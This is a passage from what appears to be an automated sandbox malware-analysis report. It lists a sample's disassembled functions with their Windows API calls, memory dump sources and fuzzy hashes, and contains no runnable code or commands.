                                                • VariantInit.OLEAUT32(00000035), ref: 002EF7B9
                                                • SysAllocString.OLEAUT32(00000001), ref: 002EF860
                                                • VariantCopy.OLEAUT32(002EFA64,00000000), ref: 002EF889
                                                • VariantClear.OLEAUT32(002EFA64), ref: 002EF8AD
                                                • VariantCopy.OLEAUT32(002EFA64,00000000), ref: 002EF8B1
                                                • VariantClear.OLEAUT32(?), ref: 002EF8BB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCopy$AllocInitString
                                                • String ID:
                                                • API String ID: 3859894641-0
                                                • Opcode ID: 0488b1a0fa639975c19bb4d129698017d763de56922eeba33e4eb69e1ac82f77
                                                • Instruction ID: 97eded8aaad7d84cd4001a47bf98cbf162c421688706e3524c59608d919953fb
                                                • Opcode Fuzzy Hash: 0488b1a0fa639975c19bb4d129698017d763de56922eeba33e4eb69e1ac82f77
                                                • Instruction Fuzzy Hash: CA510831570340BBDFA1AF66D995729B3A8EF45310FA0946BE805DF292DB708C60CB96
                                                Function 0030910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00297620: _wcslen.LIBCMT ref: 00297625
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                • GetOpenFileNameW.COMDLG32(00000058), ref: 003094E5
                                                • _wcslen.LIBCMT ref: 00309506
                                                • _wcslen.LIBCMT ref: 0030952D
                                                • GetSaveFileNameW.COMDLG32(00000058), ref: 00309585
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$FileName$OpenSave
                                                • String ID: X
                                                • API String ID: 83654149-3081909835
                                                • Opcode ID: ea6464313d6e1ab4f4f3eb07aa4c289618f31954ccf0c5aed7da567857cadce9
                                                • Instruction ID: 21ac2d5910b483f05ee76bdf25d5b8654ea61bb941e74339e1543ad53dfef329
                                                • Opcode Fuzzy Hash: ea6464313d6e1ab4f4f3eb07aa4c289618f31954ccf0c5aed7da567857cadce9
                                                • Instruction Fuzzy Hash: C6E1AF316193008FCB25DF25C891B6AB7E4BF85314F05896EF8999B2A2DB30DD45CF92
                                                Function 002A920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                • BeginPaint.USER32(?,?,?), ref: 002A9241
                                                • GetWindowRect.USER32(?,?), ref: 002A92A5
                                                • ScreenToClient.USER32(?,?), ref: 002A92C2
                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 002A92D3
                                                • EndPaint.USER32(?,?,?,?,?), ref: 002A9321
                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 002E71EA
                                                  • Part of subcall function 002A9339: BeginPath.GDI32(00000000), ref: 002A9357
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
                                                • String ID:
                                                • API String ID: 3050599898-0
                                                • Opcode ID: fb9f0ecd0097361905ed56418ef1a00a2d62c262ac93ed4635878a4eacda7756
                                                • Instruction ID: 7677285535d1a0e686f4469e7c0b0502af55075e33a14393994b58272e8a8526
                                                • Opcode Fuzzy Hash: fb9f0ecd0097361905ed56418ef1a00a2d62c262ac93ed4635878a4eacda7756
                                                • Instruction Fuzzy Hash: 4741B331124301AFDB21DF16CC85FAA7BF8EF46720F144269F954871A1CB719895DB61
                                                Function 003007EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 0030080C
                                                • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00300847
                                                • EnterCriticalSection.KERNEL32(?), ref: 00300863
                                                • LeaveCriticalSection.KERNEL32(?), ref: 003008DC
                                                • ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 003008F3
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00300921
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
                                                • String ID:
                                                • API String ID: 3368777196-0
                                                • Opcode ID: ca265995cfadc55844530c13d9d11be117198a1210a57cbdb1cdef07816921f6
                                                • Instruction ID: e1ff4984d7adf7cc80e2df7401fd4826a98d50c0c85d092c7b0245c5d7b8f220
                                                • Opcode Fuzzy Hash: ca265995cfadc55844530c13d9d11be117198a1210a57cbdb1cdef07816921f6
                                                • Instruction Fuzzy Hash: 45418F71910205EFDF169F94DD85AAA77B8FF04300F1480A9ED009A297DB34EE65DFA4
                                                Function 003281DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,002EF3AB,00000000,?,?,00000000,?,002E682C,00000004,00000000,00000000), ref: 0032824C
                                                • EnableWindow.USER32(00000000,00000000), ref: 00328272
                                                • ShowWindow.USER32(FFFFFFFF,00000000), ref: 003282D1
                                                • ShowWindow.USER32(00000000,00000004), ref: 003282E5
                                                • EnableWindow.USER32(00000000,00000001), ref: 0032830B
                                                • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0032832F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Show$Enable$MessageSend
                                                • String ID:
                                                • API String ID: 642888154-0
                                                • Opcode ID: 2709feeceb9fc5b977037a8dd0361fcb9e20199d82aab4876ce4360d8dbda779
                                                • Instruction ID: 959d41aea73ee724c26d59fc89b46fe8780645bab10bbe551992121968d310b0
                                                • Opcode Fuzzy Hash: 2709feeceb9fc5b977037a8dd0361fcb9e20199d82aab4876ce4360d8dbda779
                                                • Instruction Fuzzy Hash: 4F418338602654EFDB23CF15E899BA47BF4BB0AB14F195169E6084B262CB71A841CF90
                                                Function 002F4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindowVisible.USER32(?), ref: 002F4C95
                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 002F4CB2
                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 002F4CEA
                                                • _wcslen.LIBCMT ref: 002F4D08
                                                • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 002F4D10
                                                • _wcsstr.LIBVCRUNTIME ref: 002F4D1A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
                                                • String ID:
                                                • API String ID: 72514467-0
                                                • Opcode ID: bf25f047f995d4dd4e84790151a5ec635f80b3e1afcb67fe38aadd64b237e86c
                                                • Instruction ID: d8f98e220afa5bb338392663636548e97ea385a4e1b9318638de1178b2253951
                                                • Opcode Fuzzy Hash: bf25f047f995d4dd4e84790151a5ec635f80b3e1afcb67fe38aadd64b237e86c
                                                • Instruction Fuzzy Hash: 31216B31224205BBEB256F39ED09E7FBB9CDF45790F10403EF905CA192DEA0CC2186A0
                                                Function 0030581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00293AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00293A97,?,?,00292E7F,?,?,?,00000000), ref: 00293AC2
                                                • _wcslen.LIBCMT ref: 0030587B
                                                • CoInitialize.OLE32(00000000), ref: 00305995
                                                • CoCreateInstance.OLE32(0032FCF8,00000000,00000001,0032FB68,?), ref: 003059AE
                                                • CoUninitialize.OLE32 ref: 003059CC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                                • String ID: .lnk
                                                • API String ID: 3172280962-24824748
                                                • Opcode ID: 4da84a036cbe94899e03c867e7007e7f50b3401b3e05544b94fcf2b4f7ef4d81
                                                • Instruction ID: 169989b5c8e870d7f5f45b0cb929e68f387b122ce197066b8b4aec76733fd836
                                                • Opcode Fuzzy Hash: 4da84a036cbe94899e03c867e7007e7f50b3401b3e05544b94fcf2b4f7ef4d81
                                                • Instruction Fuzzy Hash: 22D141756086019FCB15DF28C490A2BBBE5EF89710F15885DF88A9B3A1DB31EC45CF92
                                                Function 002F175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 002F0FCA
                                                  • Part of subcall function 002F0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 002F0FD6
                                                  • Part of subcall function 002F0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 002F0FE5
                                                  • Part of subcall function 002F0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 002F0FEC
                                                  • Part of subcall function 002F0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 002F1002
                                                • GetLengthSid.ADVAPI32(?,00000000,002F1335), ref: 002F17AE
                                                • GetProcessHeap.KERNEL32(00000008,00000000), ref: 002F17BA
                                                • HeapAlloc.KERNEL32(00000000), ref: 002F17C1
                                                • CopySid.ADVAPI32(00000000,00000000,?), ref: 002F17DA
                                                • GetProcessHeap.KERNEL32(00000000,00000000,002F1335), ref: 002F17EE
                                                • HeapFree.KERNEL32(00000000), ref: 002F17F5
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                • String ID:
                                                • API String ID: 3008561057-0
                                                • Opcode ID: c0fbae45d865bf5fbabcdb4fcc6c8c3cb2b0d1e45e2e8b2201d8075187109b0f
                                                • Instruction ID: 34161565313884946271d7b6a7312c4688b31a72c6ea16bb843106c23e554ab9
                                                • Opcode Fuzzy Hash: c0fbae45d865bf5fbabcdb4fcc6c8c3cb2b0d1e45e2e8b2201d8075187109b0f
                                                • Instruction Fuzzy Hash: C811AC7192020AEFDB21AFA4CC4ABBFFBADEB45395F504028F5459B210C735A965CB60
                                                Function 002F14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 002F14FF
                                                • OpenProcessToken.ADVAPI32(00000000), ref: 002F1506
                                                • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 002F1515
                                                • CloseHandle.KERNEL32(00000004), ref: 002F1520
                                                • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 002F154F
                                                • DestroyEnvironmentBlock.USERENV(00000000), ref: 002F1563
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                • String ID:
                                                • API String ID: 1413079979-0
                                                • Opcode ID: 6d74613172a989511a56e0cfa56cb2184b1d7e11940403e1724c2b7fa2293ab6
                                                • Instruction ID: fe7e489cba3ad80a5d3f06be8123ac82a5d8c90258c817bc421390334b0174e0
                                                • Opcode Fuzzy Hash: 6d74613172a989511a56e0cfa56cb2184b1d7e11940403e1724c2b7fa2293ab6
                                                • Instruction Fuzzy Hash: B411177251024EEBDB228F98DD49BEE7BADEF48744F144029FA05A2160C375CE61DB60
                                                Function 002B3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(?,?,002B3379,002B2FE5), ref: 002B3390
                                                • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 002B339E
                                                • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 002B33B7
                                                • SetLastError.KERNEL32(00000000,?,002B3379,002B2FE5), ref: 002B3409
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLastValue___vcrt_
                                                • String ID:
                                                • API String ID: 3852720340-0
                                                • Opcode ID: 5e788b14eda42575721c373306dd1ea5b810cb68c901a07e9628412a15ff93eb
                                                • Instruction ID: c928ea89395452ca33dc16cb1ec3452bbe29e2cfac6e337a323968370d0387e2
                                                • Opcode Fuzzy Hash: 5e788b14eda42575721c373306dd1ea5b810cb68c901a07e9628412a15ff93eb
                                                • Instruction Fuzzy Hash: BC012D32238312BEE626AB74BC856D71B9CD7053F9B20022DF510811F0EF614D319984
                                                Function 002C2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(?,?,002C5686,002D3CD6,?,00000000,?,002C5B6A,?,?,?,?,?,002BE6D1,?,00358A48), ref: 002C2D78
                                                • _free.LIBCMT ref: 002C2DAB
                                                • _free.LIBCMT ref: 002C2DD3
                                                • SetLastError.KERNEL32(00000000,?,?,?,?,002BE6D1,?,00358A48,00000010,00294F4A,?,?,00000000,002D3CD6), ref: 002C2DE0
                                                • SetLastError.KERNEL32(00000000,?,?,?,?,002BE6D1,?,00358A48,00000010,00294F4A,?,?,00000000,002D3CD6), ref: 002C2DEC
                                                • _abort.LIBCMT ref: 002C2DF2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast$_free$_abort
                                                • String ID:
                                                • API String ID: 3160817290-0
                                                • Opcode ID: 636b219361c96b9ce544c5cee9ae86dffe2eaaa9748aca82675ac8ea9d5601fc
                                                • Instruction ID: 3ac263a86d16316c32b886c8eb9e78e63342c53a7de10c557fecc683bc254a41
                                                • Opcode Fuzzy Hash: 636b219361c96b9ce544c5cee9ae86dffe2eaaa9748aca82675ac8ea9d5601fc
                                                • Instruction Fuzzy Hash: 1FF0F435574F01EBC6237B34AC06F1F265DABD27A1F244B1CF825921E6EE348D2A8961
                                                Function 00328A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002A9693
                                                  • Part of subcall function 002A9639: SelectObject.GDI32(?,00000000), ref: 002A96A2
                                                  • Part of subcall function 002A9639: BeginPath.GDI32(?), ref: 002A96B9
                                                  • Part of subcall function 002A9639: SelectObject.GDI32(?,00000000), ref: 002A96E2
                                                • MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00328A4E
                                                • LineTo.GDI32(?,00000003,00000000), ref: 00328A62
                                                • MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00328A70
                                                • LineTo.GDI32(?,00000000,00000003), ref: 00328A80
                                                • EndPath.GDI32(?), ref: 00328A90
                                                • StrokePath.GDI32(?), ref: 00328AA0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                                • String ID:
                                                • API String ID: 43455801-0
                                                • Opcode ID: 4a41eb052424541ca64a65e69dce2bcffa062cbdacf19be384ffa9bd792a4131
                                                • Instruction ID: 248727d042bc72558e66148e9c547c9be50cfe6a1d3709e2c1b5580c845936c6
                                                • Opcode Fuzzy Hash: 4a41eb052424541ca64a65e69dce2bcffa062cbdacf19be384ffa9bd792a4131
                                                • Instruction Fuzzy Hash: FC110C76000118FFEF129F94DC48E9A7F6CEB08350F04C015FA1595161C771AD55DFA0
                                                Function 002F51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 002F5218
                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 002F5229
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 002F5230
                                                • ReleaseDC.USER32(00000000,00000000), ref: 002F5238
                                                • MulDiv.KERNEL32(000009EC,?,00000000), ref: 002F524F
                                                • MulDiv.KERNEL32(000009EC,00000001,?), ref: 002F5261
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CapsDevice$Release
                                                • String ID:
                                                • API String ID: 1035833867-0
                                                • Opcode ID: 807e0222efba51b8f981425a0220ecf4754090e0a5955c39622e973d4a59c329
                                                • Instruction ID: e540b7850346d70e21953096d0a72ad9f21cda2f6d31170d2f6dddaf16577cf7
                                                • Opcode Fuzzy Hash: 807e0222efba51b8f981425a0220ecf4754090e0a5955c39622e973d4a59c329
                                                • Instruction Fuzzy Hash: 49018B75E00719BBEB219FA69C49A5EBFB8EF48751F044169FB04AB281D6709C11CFA0
                                                Function 00291BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00291BF4
                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 00291BFC
                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00291C07
                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 00291C12
                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 00291C1A
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00291C22
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Virtual
                                                • String ID:
                                                • API String ID: 4278518827-0
                                                • Opcode ID: 832226074ef7d8667fcbde13c763de923341770883882257bc3afc97f90f3b28
                                                • Instruction ID: c2ed6e9933d4f9216de0c8f3fede49c1d71cba73991c369bf24b9f532a14c8c6
                                                • Opcode Fuzzy Hash: 832226074ef7d8667fcbde13c763de923341770883882257bc3afc97f90f3b28
                                                • Instruction Fuzzy Hash: D90167B0902B5ABDE3008F6A8C85B56FFA8FF19354F04411BA15C4BA42C7F5A864CBE5
                                                Function 002FEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 002FEB30
                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 002FEB46
                                                • GetWindowThreadProcessId.USER32(?,?), ref: 002FEB55
                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 002FEB64
                                                • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 002FEB6E
                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 002FEB75
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
